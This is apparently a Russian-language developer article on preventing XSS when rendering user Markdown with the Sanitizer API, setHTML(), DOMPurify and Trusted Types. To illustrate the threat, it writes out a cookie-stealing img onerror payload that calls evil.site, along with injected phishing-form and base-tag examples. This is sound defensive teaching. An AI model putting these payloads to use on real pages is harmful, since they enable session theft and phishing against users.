Ты добавляешь в продукт поле комментариев или блок обсуждения задач, и пользователи сразу просят поддержку Markdown. Это удобно: списки, жирный шрифт, подсветка синтаксиса и цитаты делают общение живым. Разработчик ставит проверенный парсер вроде marked.js или remarkable, прогоняет текст через функцию парсинга, вставляет результат в контейнер через innerHTML и со спокойной душой закрывает задачу в трекере.
Стой. В этот самый момент в твоем приложении открывается колоссальная дыра безопасности.
Дело в том, что по спецификации CommonMark любой валидный Markdown-парсер обязан пропускать встроенные сырые HTML-теги без экранирования. Если злоумышленник напишет в комментарии строку вроде <img src=x onerror="fetch('https://evil.site/?c='+document.cookie)">, парсер послушно превратит ее в рабочий DOM-узел. В лучшем случае скрипт покажет безобидный алерт, а в худшем — украдет авторизационные токены текущего пользователя, о рисках перехвата которых мы уже говорили в статье про архитектуру безопасности API-токенов. В базовом руководстве по защите от XSS-атак мы касались серверного экранирования, но когда на клиенте требуется рендерить сложный форматированный контент, стандартный escapeHtml не спасет.
Инженер Агустин Барриентос (Agustin Barrientos) в цикле исследований «The Senior Eye» детально разобрал, почему традиционные подходы к очистке HTML часто подводят команды, и показал, как выстроить эшелонированную защиту на базе новейших браузерных стандартов: нативного Sanitizer API, метода setHTML() и политик Trusted Types.
Иллюзия «дефолтной санитизации»
Когда на код-ревью звучит фраза «мы санитизируем вывод сторонней библиотекой», большинство тимлидов спокойно ставят аппрув. И совершенно напрасно. Понятие «безопасного HTML» субъективно, а настройки популярных библиотек «из коробки» кардинально различаются:
- Скрытая угроза тегов
<form>: стандартный профиль популярной библиотекиDOMPurifyблокирует исполнение скриптов (<script>, обработчикиonclick, псевдопротоколыjavascript:), но по умолчанию оставляет разрешенными теги форм. Злоумышленник может внедрить прозрачную форму ввода пароля поверх экрана с абсолютным позиционированием (<form action="https://phishing.site" style="position:fixed;inset:0">), перехватив учетные данные пользователя в момент клика. - Атака через подмену базы
<base>: внедрение одиночного тега<base href="https://evil.site/">ломает все относительные пути на странице. Любой последующий асинхронный импорт скриптов или отправка AJAX-запроса пойдут на сервер атакующего. - Чрезмерная строгость нативных инструментов: первые реализации браузерных санитизаторов, напротив, вырезали чекбоксы задач (
<input type="checkbox">), ломая привычные интерактивные чек-листы в Markdown.
Вывод прост: полагаться на дефолтные конфиги нельзя. Для защиты пользовательского контента требуется строгий декларативный белый список правил.
Единый контракт правил: объект SanitizerConfig
Современный стандарт W3C Sanitizer API вводит объект конфигурации SanitizerConfig. Главное правило словаря: свойства разрешающего списка (elements) и запрещающего списка (removeElements) строго взаимоисключающи.
Мы формируем единый объект правил commentPolicy:
// config/sanitizer.js — Единая конфигурация безопасности для комментариев
export const commentPolicy = {
// Строгий белый список разрешенных элементов
elements: [
'p', 'b', 'strong', 'i', 'em', 's', 'del',
'ul', 'ol', 'li', 'blockquote', 'code', 'pre',
'a', 'hr', 'table', 'thead', 'tbody', 'tr', 'th', 'td'
],
// Белый список допустимых атрибутов
attributes: [
{ name: 'href', elements: ['a'] },
{ name: 'target', elements: ['a'] },
{ name: 'rel', elements: ['a'] },
{ name: 'class', elements: ['code', 'pre'] }, // для подсветки синтаксиса
],
// Замена оберточных тегов их содержимым (часто прилетает из Google Docs)
replaceWithChildrenElements: ['span', 'div', 'article', 'section'],
// Принудительное удаление опасных контекстных тегов
removeElements: ['base', 'form', 'input', 'button', 'iframe', 'script', 'style'],
};
Любые теги, не вошедшие в белый список, удаляются либо заменяются своим текстом. Ссылки сохраняются, но злоумышленник физически не сможет внедрить форму, фрейм или скрипт.
Нативный метод setHTML() и гибридный конвейер
Браузерный метод Element.prototype.setHTML(input, { sanitizer }) производит очистку силами движка браузера на уровне C++, минуя накладные расходы парсинга в JavaScript. Что еще важнее — движок браузера принципиально блокирует исполняемые элементы даже в том случае, если разработчик по ошибке добавит <script> в белый список elements.
На сегодняшний день метод setHTML() поддерживается в актуальных версиях Chromium (146+) и Firefox (148+), однако в Safari реализация пока остается экспериментальной. Поэтому в продакшене необходим гибридный конвейер: при наличии нативной поддержки браузер задействует setHTML(), а при ее отсутствии — переключается на проверенный DOMPurify с аналогичным набором правил:
// utils/renderMarkdown.js — Гибридный безопасный рендеринг
import { marked } from 'marked';
import DOMPurify from 'dompurify';
import { commentPolicy } from '../config/sanitizer.js';
export function renderSafeMarkdown(rawMarkdown, targetElement) {
// 1. Преобразуем Markdown в черновой HTML
const rawHtml = marked.parse(rawMarkdown);
// 2. Проверяем поддержку нативного Sanitizer API в браузере
if ('setHTML' in Element.prototype) {
try {
targetElement.setHTML(rawHtml, { sanitizer: commentPolicy });
return;
} catch (e) {
console.warn('Сбой нативного Sanitizer API, переключаемся на fallback', e);
}
}
// 3. Резервный конвейер через DOMPurify с аналогичными ограничениями
const cleanHtml = DOMPurify.sanitize(rawHtml, {
ALLOWED_TAGS: commentPolicy.elements,
ALLOWED_ATTR: ['href', 'target', 'rel', 'class'],
FORBID_TAGS: ['base', 'form', 'script', 'iframe'],
});
targetElement.innerHTML = cleanHtml;
}
Изоляция через скрытый документ без окна
Есть еще один тонкий вектор утечек, о котором мало кто помнит: трекинг через предзагрузку картинок. Если вставить строку с тегом <img src="https://tracker.example/pixel"> напрямую в DOM через innerHTML, браузер немедленно инициирует HTTP-запрос к стороннему серверу, передавая IP-адрес пользователя и реферер еще до того, как сработают пользовательские скрипты постобработки.
Чтобы избежать преждевременного выполнения сетевых запросов, парсинг безопаснее выполнять в изолированном документе без активного окна через document.implementation.createHTMLDocument(''). Такой документ не имеет контекста навигации, и загрузка медиа-ресурсов в нем заморожена.
Бескомпромиссная защита: заголовок CSP и Trusted Types
Даже самый идеальный модуль рендеринга бесполезен, если в крупном проекте найдется один джуниор-разработчик, который в компоненте всплывающего уведомления напишет сырой popup.innerHTML = comment.text. Вся защита моментально рушится.

Чтобы заблокировать эту угрозу системно, используется механизм Trusted Types, управляемый через директиву Content Security Policy (CSP).
Сервер отдает заголовок:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types markdown-policy dompurify;
Как только этот заголовок активирован, браузер на уровне движка налагает абсолютный запрет на прямое присвоение обычных строк в любые XSS-уязвимые свойства (element.innerHTML, element.outerHTML, document.write). Попытка присвоить обычную строку завершится фатальным исключением TypeError: Failed to set the 'innerHTML' property: This document requires 'TrustedHTML' assignment.
Чтобы передать разметку в DOM, разработчик обязан создать фабрику доверенного типа:
// security/trustedTypes.js — Регистрация проверенной политики
let markdownPolicy;
if (window.trustedTypes && window.trustedTypes.createPolicy) {
markdownPolicy = window.trustedTypes.createPolicy('markdown-policy', {
createHTML: (string) => {
// Здесь вызывается наш строгий санитизатор
return DOMPurify.sanitize(string, {
ALLOWED_TAGS: ['p', 'b', 'i', 'code', 'pre', 'ul', 'li', 'a'],
});
},
});
}
// Применение политики при рендеринге
export function insertTrustedContent(element, rawHtml) {
const trustedHtml = markdownPolicy
? markdownPolicy.createHTML(rawHtml)
: rawHtml;
element.innerHTML = trustedHtml;
}
Механизмы Sanitizer API и Trusted Types защищают только клиентский контекст браузера. Если твой бэкенд формирует HTML-письма с комментариями или генерирует PDF-отчеты в Node.js, нативные браузерные API там недоступны. Для серверной очистки используйте отдельный конвейер на базе DOMPurify в окружении виртуального DOM (jsdom).
Не забывай: все внешние ссылки, созданные пользователями в Markdown, должны автоматически получать атрибуты target="_blank" и rel="noopener noreferrer". Это защитит пользователя от фишинговой атаки reverse tabnabbing, когда открытая вкладка подменяет адрес родительской страницы через window.opener.
Безопасность фронтенда давно переросла наивную веру в сторонние скрипты. Сочетание единого профиля правил SanitizerConfig, нативного метода setHTML() и блокировок Trusted Types превращает защиту приложения из шаткой договоренности в строгий закон браузерной платформы.
